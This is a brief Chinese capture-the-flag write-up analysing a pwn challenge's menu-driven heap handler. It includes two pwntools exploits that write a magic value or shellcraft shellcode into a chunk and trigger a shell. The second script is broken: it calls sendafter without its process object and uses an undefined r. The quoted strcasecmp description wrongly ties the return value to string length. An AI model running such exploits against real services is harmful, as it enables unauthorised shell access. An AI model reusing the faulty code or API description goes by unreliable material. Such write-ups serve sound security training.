罕见的有保护没有都开。
输入是input
sb是第一个:
:后面的第一个事sc
sc后面第一个回车是sd
sd后面第一个又是input
E0存放着input
E8放着sc
所以其实也就是回车为分界,一组一个回车。
:又将每一组分开,分别存放在E0,E8。
有个strcasecmp函数
头文件:#include <string.h>
定义函数:int strcasecmp (const char *s1, const char *s2);
函数说明:strcasecmp()用来比较参数s1 和s2 字符串,比较时会自动忽略大小写的差异。
返回值:若参数s1 和s2 字符串相同则返回0。s1 长度大于s2 长度则返回大于0 的值,s1 长度若小于s2 长度则返回小于0 的值。
然后最多重复五轮,就出循环了。
根据v7的不同的值进入不同的函数。
1
假如6020d0的空间里面的字符串,就可以拿到shell。
咋申请不知道
2
v9、v10控制在那个空间的哪里开始读,读多少。
3
这个又是写。
当都不是的时候还有一个分支。
这直接会执行写在那个chunk的函数。
1、2、3就是申请,读写。
整体思路比较明确,就是通过上面的while循环控制参数,跳出循环可以两个回车,或者五个填满,我们直接两个回车就好。
所以两个思路,两份wp,在比赛的时候可以两个都打一下,可能别人只补了一个洞。
第一种
我们就只要控制它申请一块空间写入DEADBEAF,然后1就行。
exp
from pwn import *
context.log_level = 'debug'
r = process("./1")
r.sendafter('>', 'op:2\n+:0\nn:4\n\n')
r.sendafter('ready?', p32(0xDEADBEEF))
r.sendafter('>', 'op:1\n+:0\nn:4\n\n')
r.interactive()
第二种就是ret2shellcode了
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = "linux"
p = process("./1")
shellcode = asm(shellcraft.sh())
sendafter('>', 'op:2\n+:0\nn:'+str(len(shellcode))+'\n\n')
sendafter('ready?', shellcode)
sendafter('>', 'op:4\n+:0\nn:4\n\n')
r.interactive()